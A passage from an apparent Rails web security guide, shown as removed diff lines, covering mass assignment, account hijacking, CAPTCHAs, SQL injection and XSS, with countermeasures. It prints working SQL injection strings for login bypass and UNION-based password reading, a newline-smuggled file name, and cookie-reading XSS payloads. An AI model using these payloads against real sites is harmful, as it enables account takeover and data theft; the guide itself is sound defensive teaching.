-<span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_mass_assignment">6. Mass assignment</h2>
-<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.</em></p></div>
-<div class="para"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
-  params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
-  <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
-</div></div>
-<div class="para"><p>This will set the following parameters in the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
-</tt></pre></div></div>
-<div class="para"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
-<h3 id="_countermeasures">6.1. Countermeasures</h3>
-<div class="para"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_protected <span style="color: #990000">:</span>admin
-</tt></pre></div></div>
-<div class="para"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_accessible <span style="color: #990000">:</span>name
-</tt></pre></div></div>
-<div class="para"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; "ow3ned", :admin =&gt; true}</span></span>
-<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_user_management">7. User management</h2>
-<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
-<div class="para"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
-<div class="para"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=</tt></pre>
-</div></div>
-<div class="para"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>If the parameter was nil, the resulting SQL query will be</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
-</div></div>
-<div class="para"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
-<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
-<div class="para"><p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
-<div class="para"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
-<div class="para"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
-<div class="para"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
-<div class="para"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
-<h3 id="_account_hijacking">7.2. Account hijacking</h3>
-<div class="para"><p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
-<h4 id="_passwords">7.2.1. Passwords</h4>
-<div class="para"><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
-<h4 id="_e_mail">7.2.2. E-Mail</h4>
-<div class="para"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
-<h4 id="_other">7.2.3. Other</h4>
-<div class="para"><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
-<h3 id="_captchas">7.3. CAPTCHAs</h3>
-<div class="para"><p>&#8212; <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
-<div class="para"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
-<div class="para"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
-<div class="para"><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
-<div class="para"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-position the fields off of the visible area of the page
-</p>
-</li>
-<li>
-<p>
-make the elements very small or colour them the same as the background of the page
-</p>
-</li>
-<li>
-<p>
-leave the fields displayed, but tell humans to leave them blank
-</p>
-</li>
-</ul></div>
-<div class="para"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
-<div class="para"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-</p>
-</li>
-<li>
-<p>
-Randomize the field names
-</p>
-</li>
-<li>
-<p>
-Include more than one honeypot field of all types, including submission buttons
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
-<h3 id="_logging">7.4. Logging</h3>
-<div class="para"><p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p></div>
-<div class="para"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password
-</tt></pre></div></div>
-<h3 id="_good_passwords">7.5. Good passwords</h3>
-<div class="para"><p>&#8212; <em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
-<div class="para"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
-<div class="para"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
-<div class="para"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
-<div class="para"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
-<h3 id="_regular_expressions">7.6. Regular expressions</h3>
-<div class="para"><p>&#8212; <em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div>
-<div class="para"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
-<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
-<div class="para"><p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
-<div class="para"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user's access rights, too</span>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
-<div class="para"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
-</div>
-<h2 id="_injection">8. Injection</h2>
-<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
-<div class="para"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
-<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
-<div class="para"><p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
-<div class="para"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Use before_filter :only &#8658; [&#8230;] instead of :except &#8658; [&#8230;]. This way you don't forget to turn it off for newly added actions.
-</p>
-</li>
-<li>
-<p>
-Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-</p>
-</li>
-<li>
-<p>
-Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-</p>
-</li>
-<li>
-<p>
-Don't try to correct user input by blacklists:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-</p>
-</li>
-<li>
-<p>
-But reject malformed input
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<div class="para"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
-<h3 id="_sql_injection">8.2. SQL Injection</h3>
-<div class="para"><p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
-<h4 id="_introduction_2">8.2.1. Introduction</h4>
-<div class="para"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
-</div></div>
-<div class="para"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
-<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
-<div class="para"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and </em> OR <em>2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
-</div></div>
-<div class="para"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
-<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
-<div class="para"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>And now let's inject another query using the UNION statement:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
-</div></div>
-<div class="para"><p>This will result in the following SQL query:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
-  SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
-</div></div>
-<div class="para"><p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
-<div class="para"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
-<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
-<div class="para"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions &#8658; "&#8230;"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
-<div class="para"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
-<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
-<div class="para"><p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
-<h4 id="_entry_points">8.3.1. Entry points</h4>
-<div class="para"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
-<div class="para"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
-<div class="para"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
-<div class="para"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
-<div class="para"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
-<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
-<div class="para"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
-<div class="para"><p>Here is the most straightforward test to check for XSS:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="para"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;img src=javascript:alert('Hello')&gt;
-&lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
-</div></div>
-<h5 id="_cookie_theft">Cookie theft</h5>
-<div class="para"><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="para"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.</p></div>
